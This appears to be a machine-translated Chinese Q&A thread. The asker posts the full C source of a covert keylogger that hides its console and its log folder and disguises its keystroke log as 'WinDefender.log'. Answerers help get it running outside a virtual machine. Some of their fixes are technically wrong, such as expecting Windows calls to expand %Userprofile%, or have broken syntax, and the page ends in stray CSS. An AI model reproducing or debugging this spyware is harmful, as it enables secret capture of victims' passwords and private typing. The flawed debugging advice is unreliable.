首先,这不是我的代码。它是Minhas Kamal's code,但我正在编辑它并从中学习。一切归功于他。
该代码在Windows 10虚拟机上可以正常运行,但是当我尝试在VM之外(在我自己的计算机,也是Windows 10)上运行它时,它确实可以编译并运行,但是问题是它没有不要创建任何目录“隐藏”,因此也不会创建日志文件“ WinDefender.log”。
我完全不知道问题是什么。任何帮助将不胜感激。
/**
* Developer: Minhas Kamal (minhaskamal024@gmail.com)
* Date: 15.Aug.2014
* Website: https://minhaskamal.github.io/StupidKeylogger
* License: MIT License
**/
#include <windows.h>
#include <time.h>
#include <stdio.h>
#define FILE_NAME "WinDefender.log"
int main() {
FreeConsole();
CreateDirectory("C:/%Userprofile%/AppData/Roaming/Hidden", NULL);
SetFileAttributes("C:/%Userprofile%/AppData/Roaming/Hidden", FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes("C:/%Userprofile%/AppData/Roaming/Hidden/WinDefender.log", FILE_ATTRIBUTE_HIDDEN);
FILE *file = fopen("C:/%Userprofile%/AppData/Roaming/Hidden/WinDefender.log", "a");
time_t date = time(NULL);
fprintf(file, "0\n%s\t", ctime(&date));
fclose(file);
unsigned short ch, i;
while (1) { //infinite loop
ch = 1;
while (ch<250) { //scans for 0-249 ASCII craracters
// this strange and extra loop helps in sensing fast-keystrokes with
// minimum processor use
for (i = 0; i<50; i++, ch++) {
//when key is stroke
if (GetAsyncKeyState(ch) == -32767) {
//append the ASCII code of the character
file = fopen("C:/%Userprofile%/AppData/Roaming/Hidden/WinDefender.log", "a");
fprintf(file, "%d ", ch);
fclose(file);
}
}
Sleep(1);
}
}
}
答案 0 :(得分:4)
阅读CreateDirectoryA
或CreateDirectoryW
上的MSDN文档,并在代码中或在工具链命令行中选择UNICODE ANSI字符代码集。
答案 1 :(得分:2)
全部替换
C:/%Userprofile%
使用
%Userprofile%
只需删除C:/
,因为%Userprofile%
已包含C:/Blah/Blah
,因此您将拥有2个C:/C:/Blah/Blah
打开命令提示符,然后输入echo %USERPROFILE%
,您将看到它的含义。
您可以尝试这些,看看哪个可行
CreateDirectory("%Userprofile%\\AppData\\Roaming\\Hidden", NULL);
CreateDirectory(L"%Userprofile%\\AppData\\Roaming\\Hidden", NULL);
CreateDirectory(_T("%Userprofile%\\AppData\\Roaming\\Hidden"), NULL);
暂时注释FreeConsole();
以进行测试
if (GetFileAttributes("%Userprofile%\\AppData\\Roaming\\Hidden") == INVALID_FILE_ATTRIBUTES)
{
//Directory does not exist
CreateDirectory("%Userprofile%\\AppData\\Roaming\\Hidden", NULL);
if(GetLastError() == ERROR_ALREADY_EXISTS) {
printf("folder exists");
else if(GetLastError() == ERROR_PATH_NOT_FOUND) {
printf("path not found (means folders before final folder not exist)");
}
} else {
printf("exists already");
}
答案 2 :(得分:0)
所有人,这是我的真实帐户。用我的真实邮件。我是JackJone。不过,这并不重要: 我已经设法更改了一些代码,它现在可以创建目录(是否隐藏)和日志文件。(是否隐藏)但是:
它什么也没写!代码:
position: fixed;
left: 0;